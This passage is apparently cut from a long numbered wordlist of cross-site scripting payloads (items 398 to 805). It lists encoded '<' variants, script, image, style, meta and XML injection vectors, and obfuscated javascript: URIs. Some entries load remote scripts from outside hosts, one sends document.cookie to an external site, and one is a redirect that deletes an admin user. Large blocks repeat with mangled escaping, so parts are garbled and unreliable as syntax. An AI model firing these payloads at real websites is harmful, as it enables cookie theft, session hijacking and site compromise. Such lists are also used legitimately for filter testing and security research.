    398. &amp;#000060;
    399. &amp;#0000060;
    400. &amp;#x3c
    401. &amp;#x03c
    402. &amp;#x003c
    403. &amp;#x0003c
    404. &amp;#x00003c
    405. &amp;#x000003c
    406. &amp;#x3c;
    407. &amp;#x03c;
    408. &amp;#x003c;
    409. &amp;#x0003c;
    410. &amp;#x00003c;
    411. &amp;#x000003c;
    412. &amp;#X3c
    413. &amp;#X03c
    414. &amp;#X003c
    415. &amp;#X0003c
    416. &amp;#X00003c
    417. &amp;#X000003c
    418. &amp;#X3c;
    419. &amp;#X03c;
    420. &amp;#X003c;
    421. &amp;#X0003c;
    422. &amp;#X00003c;
    423. &amp;#X000003c;
    424. &amp;#x3C
    425. &amp;#x03C
    426. &amp;#x003C
    427. &amp;#x0003C
    428. &amp;#x00003C
    429. &amp;#x000003C
    430. &amp;#x3C;
    431. &amp;#x03C;
    432. &amp;#x003C;
    433. &amp;#x0003C;
    434. &amp;#x00003C;
    435. &amp;#x000003C;
    436. &amp;#X3C
    437. &amp;#X03C
    438. &amp;#X003C
    439. &amp;#X0003C
    440. &amp;#X00003C
    441. &amp;#X000003C
    442. &amp;#X3C;
    443. &amp;#X03C;
    444. &amp;#X003C;
    445. &amp;#X0003C;
    446. &amp;#X00003C;
    447. &amp;#X000003C;
    448. \x3c
    449. \x3C
    450. \u003c
    451. \u003C
    452. &lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&gt;
    453. &lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;
    454. &lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;XSS&apos;&quot;)`&gt;
    455. &lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;
    456. &lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;
    457. &lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;
    458. &lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029&apos;\0029&quot;&gt;
    459. &lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;
    460. &lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(&apos;XSS&apos;);+ADw-/SCRIPT+AD4-
    461. \&quot;;alert(&apos;XSS&apos;);//
    462. &lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;
    463. &lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(&quot;XSS&quot;)&apos;;&lt;/STYLE&gt;
    464. &lt;IMG SRC=&quot;jav&#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;
    465. &lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;
    466. &lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(&apos;XSS&apos;);&quot;&gt;
    467. &lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(&apos;XSS&apos;);&quot;&gt;
    468. &lt;IMG&#x0D;SRC&#x0D;=&#x0D;&quot;&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;(&#x0D;&apos;&#x0D;X&#x0D;S&#x0D;S&#x0D;&apos;&#x0D;)&#x0D;&quot;&#x0D;&gt;&#x0D;
    469. perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(&quot;XSS&quot;)>&quot;;&apos;&gt; out
    470. perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(&quot;XSS&quot;)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out
    471. &lt;IMG SRC=&quot; &amp;#14;  javascript:alert(&apos;XSS&apos;);&quot;&gt;
    472. &lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
    473. &lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;
    474. &lt;SCRIPT SRC=http://ha.ckers.org/xss.js
    475. &lt;SCRIPT SRC=//ha.ckers.org/.j&gt;
    476. &lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;
    477. &lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;
    478. &lt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;
    479. &lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&quot;&gt;
    480. &lt;SCRIPT&gt;a=/XSS/
    481. &lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
    482. &lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
    483. &lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
    484. &lt;SCRIPT &quot;a=&apos;&gt;&apos;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
    485. &lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
    486. &lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
    487. &lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
    488. &lt;A HREF=&quot;http://66.102.7.147/&quot;&gt;XSS&lt;/A&gt;
    489. &lt;A HREF=&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&gt;XSS&lt;/A&gt;
    490. &lt;A HREF=&quot;http://1113982867/&quot;&gt;XSS&lt;/A&gt;
    491. &lt;A HREF=&quot;http://0x42.0x0000066.0x7.0x93/&quot;&gt;XSS&lt;/A&gt;
    492. &lt;A HREF=&quot;http://0102.0146.0007.00000223/&quot;&gt;XSS&lt;/A&gt;
    493. &lt;A HREF=&quot;h&#x0A;tt&#09;p://6&amp;#09;6.000146.0x7.147/&quot;&gt;XSS&lt;/A&gt;
    494. &lt;A HREF=&quot;//www.google.com/&quot;&gt;XSS&lt;/A&gt;
    495. &lt;A HREF=&quot;//google&quot;&gt;XSS&lt;/A&gt;
    496. &lt;A HREF=&quot;http://ha.ckers.org@google&quot;&gt;XSS&lt;/A&gt;
    497. &lt;A HREF=&quot;http://google:ha.ckers.org&quot;&gt;XSS&lt;/A&gt;
    498. &lt;A HREF=&quot;http://google.com/&quot;&gt;XSS&lt;/A&gt;
    499. &lt;A HREF=&quot;http://www.google.com./&quot;&gt;XSS&lt;/A&gt;
    500. &lt;A HREF=&quot;javascript:document.location=&apos;http://www.google.com/&apos;&quot;&gt;XSS&lt;/A&gt;
    501. &lt;A HREF=&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&gt;XSS&lt;/A&gt;
    502. <script>document.vulnerable=true;</script>
    503. <img SRC="jav ascript:document.vulnerable=true;">
    504. <img SRC="javascript:document.vulnerable=true;">
    505. <img SRC=" &#14; javascript:document.vulnerable=true;">
    506. <body onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
    507. <<SCRIPT>document.vulnerable=true;//<</SCRIPT>
    508. <script <B>document.vulnerable=true;</script>
    509. <img SRC="javascript:document.vulnerable=true;"
    510. <iframe src="javascript:document.vulnerable=true; <
    511. <script>a=/XSS/\ndocument.vulnerable=true;</script>
    512. \";document.vulnerable=true;;//
    513. </title><SCRIPT>document.vulnerable=true;</script>
    514. <input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
    515. <body BACKGROUND="javascript:document.vulnerable=true;">
    516. <body ONLOAD=document.vulnerable=true;>
    517. <img DYNSRC="javascript:document.vulnerable=true;">
    518. <img LOWSRC="javascript:document.vulnerable=true;">
    519. <bgsound SRC="javascript:document.vulnerable=true;">
    520. <br SIZE="&{document.vulnerable=true}">
    521. <LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
    522. <link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
    523. <style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
    524. <img SRC='vbscript:document.vulnerable=true;'>
    525. ¼script¾document.vulnerable=true;¼/script¾
    526. <meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
    527. <meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
    528. <IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
    529. <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
    530. <table BACKGROUND="javascript:document.vulnerable=true;">
    531. <table><TD BACKGROUND="javascript:document.vulnerable=true;">
    532. <div STYLE="background-image: url(javascript:document.vulnerable=true;)">
    533. <div STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
    534. <div STYLE="width: expression(document.vulnerable=true);">
    535. <style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
    536. <img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
    537. <XSS STYLE="xss:expression(document.vulnerable=true)">
    538. exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
    539. <style TYPE="text/javascript">document.vulnerable=true;</style>
    540. <style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a>
    541. <style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
    542. <!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
    543. <base HREF="javascript:document.vulnerable=true;//">
    544. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object>
    545. <XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>
    546. <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></span>
    547. <html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></html>
    548. <? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
    549. <meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
    550. <head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
    551. <a href="javascript#document.vulnerable=true;">
    552. <div onmouseover="document.vulnerable=true;">
    553. <img src="javascript:document.vulnerable=true;">
    554. <img dynsrc="javascript:document.vulnerable=true;">
    555. <input type="image" dynsrc="javascript:document.vulnerable=true;">
    556. <bgsound src="javascript:document.vulnerable=true;">
    557. &<script>document.vulnerable=true;</script>
    558. &{document.vulnerable=true;};
    559. <img src=&{document.vulnerable=true;};>
    560. <link rel="stylesheet" href="javascript:document.vulnerable=true;">
    561. <iframe src="vbscript:document.vulnerable=true;">
    562. <img src="mocha:document.vulnerable=true;">
    563. <img src="livescript:document.vulnerable=true;">
    564. <a href="about:<script>document.vulnerable=true;</script>">
    565. <meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
    566. <body onload="document.vulnerable=true;">
    567. <div style="background-image: url(javascript:document.vulnerable=true;);">
    568. <div style="behaviour: url([link to code]);">
    569. <div style="binding: url([link to code]);">
    570. <div style="width: expression(document.vulnerable=true;);">
    571. <style type="text/javascript">document.vulnerable=true;</style>
    572. <object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
    573. <style><!--</style><script>document.vulnerable=true;//--></script>
    574. <<script>document.vulnerable=true;</script>
    575. <![<!--]]<script>document.vulnerable=true;//--></script>
    576. <!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
    577. <img src="blah"onmouseover="document.vulnerable=true;">
    578. <img src="blah>" onmouseover="document.vulnerable=true;">
    579. <xml src="javascript:document.vulnerable=true;">
    580. <xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
    581. <div datafld="b" dataformatas="html" datasrc="#X"></div>
    582. [\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
    583. <style>@import'http://www.securitycompass.com/xss.css';</style>
    584. <meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet">
    585. <style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style>
    586. <OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
    587. <HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss></html>
    588. <script SRC="http://www.securitycompass.com/xss.jpg"></script>
    589. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"-->
    590. <script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
    591. <script =">" SRC="http://www.securitycompass.com/xss.js"></script>
    592. <script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script>
    593. <script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script>
    594. <script a=`>` SRC="http://www.securitycompass.com/xss.js"></script>
    595. <script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script>
    596. <script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
    597. <div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
    598. &quot;&gt;&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;
    599. &lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
    600. &lt;/br style=a:expression(alert())&gt;
    601. &lt;scrscriptipt&gt;alert(1)&lt;/scrscriptipt&gt;
    602. &lt;br size=\&quot;&amp;{alert(&#039;XSS&#039;)}\&quot;&gt;
    603. perl -e &#039;print \&quot;&lt;IMG SRC=java\0script:alert(\&quot;XSS\&quot;)&gt;\&quot;;&#039; &gt; out
    604. perl -e &#039;print \&quot;&lt;SCR\0IPT&gt;alert(\&quot;XSS\&quot;)&lt;/SCR\0IPT&gt;\&quot;;&#039; &gt; out
    605. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
    606. <~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="%2bdocument.cookie)>
    607. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
    608. <~/XSS STYLE=xss:expression(alert('XSS'))>
    609. "><script>alert('XSS')</script>
    610. </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
    611. XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
    612. XSS STYLE=xss:e/**/xpression(alert('XSS'))>
    613. </XSS STYLE=xss:expression(alert('XSS'))>
    614. ';;alert(String.fromCharCode(88,83,83))//\';;alert(String.fromCharCode(88,83,83))//";;alert(String.fromCharCode(88,83,83))//\";;alert(String.fromCharCode(88,83,83))//-->;<;/SCRIPT>;";>;';>;<;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;
    615. ';';;!--";<;XSS>;=&;{()}
    616. <;SCRIPT>;alert(';XSS';)<;/SCRIPT>;
    617. <;SCRIPT SRC=http://ha.ckers.org/xss.js>;<;/SCRIPT>;
    618. <;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;
    619. <;BASE HREF=";javascript:alert(';XSS';);//";>;
    620. <;BGSOUND SRC=";javascript:alert(';XSS';);";>;
    621. <;BODY BACKGROUND=";javascript:alert(';XSS';);";>;
    622. <;BODY ONLOAD=alert(';XSS';)>;
    623. <;DIV STYLE=";background-image: url(javascript:alert(';XSS';))";>;
    624. <;DIV STYLE=";background-image: url(&;#1;javascript:alert(';XSS';))";>;
    625. <;DIV STYLE=";width: expression(alert(';XSS';));";>;
    626. <;FRAMESET>;<;FRAME SRC=";javascript:alert(';XSS';);";>;<;/FRAMESET>;
    627. <;IFRAME SRC=";javascript:alert(';XSS';);";>;<;/IFRAME>;
    628. <;INPUT TYPE=";IMAGE"; SRC=";javascript:alert(';XSS';);";>;
    629. <;IMG SRC=";javascript:alert(';XSS';);";>;
    630. <;IMG SRC=javascript:alert(';XSS';)>;
    631. <;IMG DYNSRC=";javascript:alert(';XSS';);";>;
    632. <;IMG LOWSRC=";javascript:alert(';XSS';);";>;
    633. <;IMG SRC=";http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode";>;
    634. Redirect 302 /a.jpg http://victimsite.com/admin.asp&;deleteuser
    635. exp/*<;XSS STYLE=';no\xss:noxss(";*//*";);
    636. <;STYLE>;li {list-style-image: url(";javascript:alert(&#39;XSS&#39;)";);}<;/STYLE>;<;UL>;<;LI>;XSS
    637. <;IMG SRC=';vbscript:msgbox(";XSS";)';>;
    638. <;LAYER SRC=";http://ha.ckers.org/scriptlet.html";>;<;/LAYER>;
    639. <;IMG SRC=";livescript:[code]";>;
    640. %BCscript%BEalert(%A2XSS%A2)%BC/script%BE
    641. <;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(';XSS';);";>;
    642. <;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K";>;
    643. <;META HTTP-EQUIV=";refresh"; CONTENT=";0; URL=http://;URL=javascript:alert(';XSS';);";>;
    644. <;IMG SRC=";mocha:[code]";>;
    645. <;OBJECT TYPE=";text/x-scriptlet"; DATA=";http://ha.ckers.org/scriptlet.html";>;<;/OBJECT>;
    646. <;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(';XSS';)>;<;/OBJECT>;
    647. <;EMBED SRC=";http://ha.ckers.org/xss.swf"; AllowScriptAccess=";always";>;<;/EMBED>;
    648. a=";get";;&;#10;b=";URL(";";;&;#10;c=";javascript:";;&;#10;d=";alert(';XSS';);";)";;&#10;eval(a+b+c+d);
    649. <;STYLE TYPE=";text/javascript";>;alert(';XSS';);<;/STYLE>;
    650. <;IMG STYLE=";xss:expr/*XSS*/ession(alert(';XSS';))";>;
    651. <;XSS STYLE=";xss:expression(alert(';XSS';))";>;
    652. <;STYLE>;.XSS{background-image:url(";javascript:alert(';XSS';)";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>;
    653. <;STYLE type=";text/css";>;BODY{background:url(";javascript:alert(';XSS';)";)}<;/STYLE>;
    654. <;LINK REL=";stylesheet"; HREF=";javascript:alert(';XSS';);";>;
    655. <;LINK REL=";stylesheet"; HREF=";http://ha.ckers.org/xss.css";>;
    656. <;STYLE>;@import';http://ha.ckers.org/xss.css';;<;/STYLE>;
    657. <;META HTTP-EQUIV=";Link"; Content=";<;http://ha.ckers.org/xss.css>;; REL=stylesheet";>;
    658. <;STYLE>;BODY{-moz-binding:url(";http://ha.ckers.org/xssmoz.xml#xss";)}<;/STYLE>;
    659. <;TABLE BACKGROUND=";javascript:alert(';XSS';)";>;<;/TABLE>;
    660. <;TABLE>;<;TD BACKGROUND=";javascript:alert(';XSS';)";>;<;/TD>;<;/TABLE>;
    661. <;HTML xmlns:xss>;
    662. <;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=";javas]]>;<;![CDATA[cript:alert(';XSS';);";>;]]>;
    663. <;XML ID=";xss";>;<;I>;<;B>;<;IMG SRC=";javas<;!-- -->;cript:alert(';XSS';)";>;<;/B>;<;/I>;<;/XML>;
    664. <;XML SRC=";http://ha.ckers.org/xsstest.xml"; ID=I>;<;/XML>;
    665. <;HTML>;<;BODY>;
    666. <;!--[if gte IE 4]>;          
    667. <;META HTTP-EQUIV=";Set-Cookie"; Content=";USERID=<;SCRIPT>;alert(';XSS';)<;/SCRIPT>;";>;
    668. <;XSS STYLE=";behavior: url(http://ha.ckers.org/xss.htc);";>;
    669. <;SCRIPT SRC=";http://ha.ckers.org/xss.jpg";>;<;/SCRIPT>;
    670. <;!--#exec cmd=";/bin/echo ';<;SCRIPT SRC';";-->;<;!--#exec cmd=";/bin/echo ';=http://ha.ckers.org/xss.js>;<;/SCRIPT>;';";-->;
    671. <;? echo(';<;SCR)';;
    672. <;BR SIZE=";&;{alert(';XSS';)}";>;
    673. <;
    674. &;#060
    675. &;#0060
    676. &;#00060
    677. &;#000060
    678. &;#0000060
    679. &;#60;
    680. &;#060;
    681. &;#0060;
    682. &;#00060;
    683. &;#000060;
    684. &;#0000060;
    685. &;#x3c
    686. &;#x03c
    687. &;#x003c
    688. &;#x0003c
    689. &;#x00003c
    690. &;#x000003c
    691. &;#x3c;
    692. &;#x03c;
    693. &;#x003c;
    694. &;#x0003c;
    695. &;#x00003c;
    696. &;#x000003c;
    697. &;#X3c
    698. &;#X03c
    699. &;#X003c
    700. &;#X0003c
    701. &;#X00003c
    702. &;#X000003c
    703. &;#X3c;
    704. &;#X03c;
    705. &;#X003c;
    706. &;#X0003c;
    707. &;#X00003c;
    708. &;#X000003c;
    709. &;#x3C
    710. &;#x03C
    711. &;#x003C
    712. &;#x0003C
    713. &;#x00003C
    714. &;#x000003C
    715. &;#x3C;
    716. &;#x03C;
    717. &;#x003C;
    718. &;#x0003C;
    719. &;#x00003C;
    720. &;#x000003C;
    721. &;#X3C
    722. &;#X03C
    723. &;#X003C
    724. &;#X0003C
    725. &;#X00003C
    726. &;#X000003C
    727. &;#X3C;
    728. &;#X03C;
    729. &;#X003C;
    730. &;#X0003C;
    731. &;#X00003C;
    732. &;#X000003C;
    733. \x3c
    734. \x3C
    735. \u003c
    736. \u003C
    737. <;IMG SRC=JaVaScRiPt:alert(';XSS';)>;
    738. <;IMG SRC=javascript:alert(&;quot;XSS&;quot;)>;
    739. <;IMG SRC=`javascript:alert(";RSnake says, ';XSS';";)`>;
    740. <;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>;
    741. <;IMG RC=&;#106;&;#97;&;#118;&;#97;&;#115;&;#99;&;#114;&;#105;&;#112;&;#116;&;#58;&;#97;&;#108;&;#101;&;#114;&;#116;&;#40;&;#39;&;#88;&;#83;&;#83;&;#39;&;#41;>;
    742. <;IMG RC=&;#0000106&;#0000097&;#0000118&;#0000097&;#0000115&;#0000099&;#0000114&;#0000105&;#0000112&;#0000116&;#0000058&;#0000097&;#0000108&;#0000101&;#0000114&;#0000116&;#0000040&;#0000039&;#0000088&;#0000083&;#0000083&;#0000039&;#0000041>;
    743. <;DIV STYLE=";background-image:\0075\0072\006C\0028';\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.10530053\0027\0029';\0029";>;
    744. <;IMG SRC=&;#x6A&;#x61&;#x76&;#x61&;#x73&;#x63&;#x72&;#x69&;#x70&;#x74&;#x3A&;#x61&;#x6C&;#x65&;#x72&;#x74&;#x28&;#x27&;#x58&;#x53&;#x53&;#x27&;#x29>;
    745. <;HEAD>;<;META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html; charset=UTF-7";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(';XSS';);+ADw-/SCRIPT+AD4-
    746. \";;alert(';XSS';);//
    747. <;/TITLE>;<;SCRIPT>;alert("XSS");<;/SCRIPT>;
    748. <;STYLE>;@im\port';\ja\vasc\ript:alert(";XSS";)';;<;/STYLE>;
    749. <;IMG SRC=";jav&#x09;ascript:alert(';XSS';);";>;
    750. <;IMG SRC=";jav&;#x09;ascript:alert(';XSS';);";>;
    751. <;IMG SRC=";jav&;#x0A;ascript:alert(';XSS';);";>;
    752. <;IMG SRC=";jav&;#x0D;ascript:alert(';XSS';);";>;
    753. <;IMG&#x0D;SRC&#x0D;=&#x0D;";&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;&#x0D;';&#x0D;X&#x0D;S&#x0D;S&#x0D;';&#x0D;)&#x0D;";&#x0D;>;&#x0D;
    754. perl -e ';print ";<;IM SRC=java\0script:alert(";XSS";)>";;';>; out
    755. perl -e ';print ";&;<;SCR\0IPT>;alert(";XSS";)<;/SCR\0IPT>;";;'; >; out
    756. <;IMG SRC="; &;#14;  javascript:alert(';XSS';);";>;
    757. <;SCRIPT/XSS SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
    758. <;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>;
    759. <;SCRIPT SRC=http://ha.ckers.org/xss.js
    760. <;SCRIPT SRC=//ha.ckers.org/.j>;
    761. <;IMG SRC=";javascript:alert(';XSS';)";
    762. <;IFRAME SRC=http://ha.ckers.org/scriptlet.html <;
    763. <;<;SCRIPT>;alert(";XSS";);//<;<;/SCRIPT>;
    764. <;IMG ";";";>;<;SCRIPT>;alert(";XSS";)<;/SCRIPT>;";>;
    765. <;SCRIPT>;a=/XSS/
    766. <;SCRIPT a=";>;"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
    767. <;SCRIPT =";blah"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
    768. <;SCRIPT a=";blah"; ';'; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
    769. <;SCRIPT ";a=';>;';"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
    770. <;SCRIPT a=`>;` SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
    771. <;SCRIPT>;document.write(";<;SCRI";);<;/SCRIPT>;PT SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
    772. <;SCRIPT a=";>';>"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
    773. <;A HREF=";http://66.102.7.147/";>;XSS<;/A>;
    774. <;A HREF=";http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D";>;XSS<;/A>;
    775. <;A HREF=";http://1113982867/";>;XSS<;/A>;
    776. <;A HREF=";http://0x42.0x0000066.0x7.0x93/";>;XSS<;/A>;
    777. <;A HREF=";http://0102.0146.0007.00000223/";>;XSS<;/A>;
    778. <;A HREF=";h&#x0A;tt&#09;p://6&;#09;6.000146.0x7.147/";>;XSS<;/A>;
    779. <;A HREF=";//www.google.com/";>;XSS<;/A>;
    780. <;A HREF=";//google";>;XSS<;/A>;
    781. <;A HREF=";http://ha.ckers.org@google";>;XSS<;/A>;
    782. <;A HREF=";http://google:ha.ckers.org";>;XSS<;/A>;
    783. <;A HREF=";http://google.com/";>;XSS<;/A>;
    784. <;A HREF=";http://www.google.com./";>;XSS<;/A>;
    785. <;A HREF=";javascript:document.location=';http://www.google.com/';";>;XSS<;/A>;
    786. <;A HREF=";http://www.gohttp://www.google.com/ogle.com/";>;XSS<;/A>;
    787. <script>document.vulnerable=true;</script>
    788. <img SRC="jav ascript:document.vulnerable=true;">
    789. <img SRC="javascript:document.vulnerable=true;">
    790. <img SRC=" &#14; javascript:document.vulnerable=true;">
    791. <body onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
    792. <<SCRIPT>document.vulnerable=true;//<</SCRIPT>
    793. <script <B>document.vulnerable=true;</script>
    794. <img SRC="javascript:document.vulnerable=true;"
    795. <iframe src="javascript:document.vulnerable=true; <
    796. <script>a=/XSS/\ndocument.vulnerable=true;</script>
    797. \";document.vulnerable=true;;//
    798. </title><SCRIPT>document.vulnerable=true;</script>
    799. <input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
    800. <body BACKGROUND="javascript:document.vulnerable=true;">
    801. <body ONLOAD=document.vulnerable=true;>
    802. <img DYNSRC="javascript:document.vulnerable=true;">
    803. <img LOWSRC="javascript:document.vulnerable=true;">
    804. <bgsound SRC="javascript:document.vulnerable=true;">
    805. <br SIZE="&{document.vulnerable=true}">
